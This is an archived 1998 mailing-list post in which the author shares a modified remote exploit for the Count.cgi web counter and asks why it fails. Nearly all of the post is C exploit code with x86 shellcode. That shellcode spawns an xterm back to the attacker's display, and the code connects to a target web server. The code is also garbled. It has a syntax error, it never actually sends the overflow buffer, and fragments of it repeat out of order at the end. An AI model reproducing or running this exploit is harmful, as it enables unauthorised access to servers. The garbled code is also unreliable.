Remote count.cgi exploit mods

From: _ _ (an713137at_private)
Date: Thu Jul 09 1998 - 18:41:46 PDT

  • Next message: Ralf S. Engelschall: "ePerl Security Update Available"

    There is a commonly known local exploit available which works on Count.cgi.   Plaguez posted the original and Gus posted a mod for linux.
    
    I've tried to modify the exploit further to
    work on a remote linux site.   This seems to be a better way than to test our site internally.   It compiles fine and seems to run, but doesnt send me an Xterm.  I have attached my hacked code.  Any ideas or suggested improvements ??
    
    KAPTEN
    an713137at_private
    ----------------snip here if you want------------------
    
    /*###############################################################
    #################################################################
    ##
    ##   count.cgi.l.c -  intel linux exploit for Count.cgi
    ##   Gus/97
    ##   Shell code blatantly stolen from 'wwwcount.c' by
    ##   Plaguez <dube0866at_private>
    ##
    ##   Spawns an xterm on your $DISPLAY, or override on command
    ##   line.
    ##
    ##   Modified (ok hacked) by Kapten to test the
    ##   security of a site remotely.
    */
    
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <getopt.h>
    #include <unistd.h>
    #include <string.h>
    #include <signal.h>
    #include <sys/param.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <stdarg.h>
    
    
    /* Forwards */
    unsigned long getsp(int);
    int usage(char *);
    void doit(long, char *);
    int pop_connect(char *);
    
    
    int popfd;
    FILE *popfp;
    
    /* Constants */
    char shell[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
    "\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
    "\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
    "\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
    "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
    "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
    "/usr/X11R6/bin/xterm0-ut0-display0";
    /* To send an xterm the line above should work */
    
    
    char endpad[]=
    "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
    "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
    
    
    
    
    int main (int argc, char *argv[]){
      char *shellcode;
      int cnt,ver;
      unsigned long sp;
      int retcount;
      int dotquads[4];
      int dispnum;
      char displaynamebuf[255];
    
    
      sp = cnt = ver = 0;
      printf("Counterterm - Gus\n");
      if (argc<4) usage(argv[0]);
    
      while ((cnt = getopt(argc,argv,"d:v:h:")) != EOF) {
        switch(cnt){
        case 'd':
          {
            retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
                              &dotquads[0],
                              &dotquads[1],
                              &dotquads[2],
                              &dotquads[3], &dispnum);
            if (retcount != 5) usage(argv[0]);
            sprintf(displaynamebuf, "%03d.%03d.%03d.%03d:%01d",
                    dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
            shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
            sprintf(shellcode,"%s%s%s",shell,displaynamebuf,endpad);
          }
        break;
        case 'v':
          ver = atoi(optarg);
          printf("Ver is %d\n",ver);
          break;
        case 'h' :
              if(pop_connect(optarg == -1)
              {
                    printf("Error connecting to host %s\n", optarg);
                    exit(0);
              }
              printf("Connected to: %s\n", optarg);
              popfp=fdopen(popfd, "rt");
              break;
        default:
          usage(argv[0]);
          break;
        }
      }
    
      sp = getsp(ver);
    
      (void)doit(sp,shellcode);
    
      exit(0);
    }
    
    unsigned long getsp(int ver) {
    
      /* Get the stack pointer we should be using. This is version specific, and,
      ** as with all buffer overruns is more of a pointer than a precise value.
      */
    
      unsigned long sp=0;
    
      if (ver == 15) sp = 0xFFFFFF;
      if (ver == 20) sp = 0XFFFFFF;
      if (ver == 22) sp = 0xbfffa0b4; /* This is a common version */
      if (ver == 23) sp = 0xbfffee38;
      if (sp == 0) {
        printf("That version is not vulnerable.\n");
        exit(1);
      } else {
        printf("Using offset 0x%x\n",sp);
        return sp;
      }
    
    }
    
    
    int usage (char *name) {
      printf("Usage:%s -d <Your IP> -v <version> -h <target host>\n",name);
      printf("e.g. %s -d 127.0.0.1:0 -v 22 sucker.target.com \n",name);
      exit(1);
    }
    
    void doit (long sp, char *shellcode) {
    
      int cnt;
      char qs[7000];
      char chain[] = "user=a";
      int j,k;
    
      for(cnt=0;cnt<4104;cnt+=4) {
        qs[cnt+0] = sp &  0x000000ff;
        qs[cnt+1] = (sp & 0x0000ff00) >> 8;
        qs[cnt+2] = (sp & 0x00ff0000) >> 16;
        qs[cnt+3] = (sp & 0xff000000) >> 24;
      }
      strcpy(qs,chain);
      qs[strlen(chain)]=0x90;
    
      qs[4104]= sp&0x000000ff;
      qs[4105]=(sp&0x0000ff00)>>8;
      qs[4106]=(sp&0x00ff0000)>>16;
      qs[4107]=(sp&0xff000000)>>24;
      qs[4108]= sp&0x000000ff;
      qs[4109]=(sp&0x0000ff00)>>8;
      qs[4110]=(sp&0x00ff0000)>>16;
      qs[4111]=(sp&0xff000000)>>24;
      qs[4112]= sp&0x000000ff;
      qs[4113]=(sp&0x0000ff00)>>8;
      qs[4114]=(sp&0x00ff0000)>>16;
      qs[4115]=(sp&0xff000000)>>24;
      qs[4116]= sp&0x000000ff;
      qs[4117]=(sp&0x0000ff00)>>8;
      qs[4118]=(sp&0x00ff0000)>>16;
      qs[4119]=(sp&0xff000000)>>24;
      qs[4120]= sp&0x000000ff;
      qs[4121]=(sp&0x0000ff00)>>8;
      qs[4122]=(sp&0x00ff0000)>>16;
      qs[4123]=(sp&0xff000000)>>24;
      qs[4124]= sp&0x000000ff;
      qs[4125]=(sp&0x0000ff00)>>8;
      qs[4126]=(sp&0x00ff0000)>>16;
      qs[4127]=(sp&0xff000000)>>24;
      qs[4128]= sp&0x000000ff;
      qs[4129]=(sp&0x0000ff00)>>8;
      qs[4130]=(sp&0x00ff0000)>>16;
      qs[4131]=(sp&0xff000000)>>24;
    
      strcpy((char*)&qs[4132],shellcode);
    
    /*  For local Counter testing we would use the following ..
            setenv("HTTP_USER_AGENT",qs,1);
            setenv("QUERY_STRING",qs,1);
            system("./Count.cgi"); */
    
    /*      But for testing a remote site we will try this .. */
    
            setenv("HTTP_USER_AGENT",qs,1);
            setenv("QUERY_STRING",qs,1);
            send(popfd, "GET /cgi-bin/Count.cgi\n\n",24,0);
    /*      pause for a while */
        printf("Sending the buffer to port 80.\n");
            for(j=0;j<500;j++)
            {
                    for(k=0;k<500;k++){;}
                    printf(".");
            }
            printf("\n");
            fclose(popfp);
        close(popfd);
    
    }
    
    
    int pop_connect(char *pophost)
    {
       int popsocket;
       struct sockaddr_in sin;
       struct hostent *hp;
    
       hp=gethostbyname(pophost);
       if(hp==NULL) return -1;
    
       bzero((char *)&sin,sizeof(sin));
       bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
       sin.sin_family=hp->h_addrtype;
       sin.sin_port=htons(80); /* set port to 80 for http */
       popsocket=socket(AF_INET, SOCK_STREAM, 0);
       if(popsocket==-1) return -1;
       if(connect(popsocket,(struct sockaddr *)&sin,sizeof(sin))==-1) return -1;
       popfd=popsocket;
       return popsocket;
    }
    
    
    
    5Cn",24,0);
    /*      pause for a while */
        printf("Sending the buffer to port 80.\n");
            for(j=0;j<500;j++)
            {
                    for(k=0;k<500;k++){;}
                    printf(".");
            }
            printf("\n");
            fclose(popfp);
        close(popfd);
    
    }
    
    
    int pop_connect(char *pophost)
    {
       int popsocket;
       struct sockaddr_in sin;
       struct hostent *hp;
    
       hp=gethostbyname(pophost);
       if(hp==NULL) return -1;
    
       bzero((char *)&sin,sizeof(sin));
       bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
       sin.sin_family=hp->h_addrtype;
       sin.sin_port=htons(80); /* set port to 80 for http */
       popsocket=socket(AF_INET, SOCK_STREAM, 0);
       if(popsocket==-1) return -1;
       if(connect(popsocket,(struct sockaddr *)&sin,sizeof(sin))==-1) return -1;
       popfd=popsocket;
       return popsocket;
    }
    
    
    
    
    
    /*      But for testing a remote site we will try this .. */
    
            setenv("HTTP_USER_AGENT",qs,1);
            setenv("QUERY_STRING",qs,1);
            send(popfd, "GET /cgi-bin/Count.cgi\n
    
    
    Free web-based email, Forever, From anywhere!
    http://www.mailexcite.com
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:03:06 PDT